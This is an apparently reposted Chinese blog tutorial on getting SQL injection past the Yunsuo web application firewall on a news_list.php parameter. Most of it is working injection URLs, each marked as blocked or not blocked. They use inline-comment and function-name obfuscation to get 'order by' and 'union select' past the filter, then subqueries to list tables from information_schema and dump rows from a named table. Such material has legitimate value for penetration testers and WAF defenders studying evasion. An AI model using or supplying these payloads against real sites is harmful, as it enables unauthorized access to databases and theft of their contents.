1、判断注入:
神奇的发现云锁and不拦
/wap/news_list.php?id=1%20and%201=1
and 1=2 报错
2、接下来就是要得出字段数了,但是发现云锁拦了order by这个组合
order by 21 拦截
wap/news_list.php?id=1%20order/*!66666asd*/by%2021 不拦
3、显错位
得出3为显错位
4、联合查询
union/*!66666asd*/select 采用注释绕过
union select 拦截
5、爆库
wap/news_list.php?id=1%20union/*!66666asd*/select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20limit%201,1 拦截
wap/news_list.php?id=1%20union/*!66666asd*/select%201,2,database/*//*/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20limit%201,1 不拦
5、查表
云锁把select from拦得死死的,这边采用子查询绕过
union/*!66666asd*/select--1,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20limit%201,1 不拦
6、获取字段
%20union%20/*!66666asd*/select--1,2,(select%20group_concat(concat(id,title))%20from%20demo_daohangfl),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20limit%201,1
总结
手法采用了大量的注释和子查询来达到bypass效果。
如文中有误请各位老师傅不吝指教。
原文始发于微信公众号(刑天攻防实验室):从0开始Bypass之云锁篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论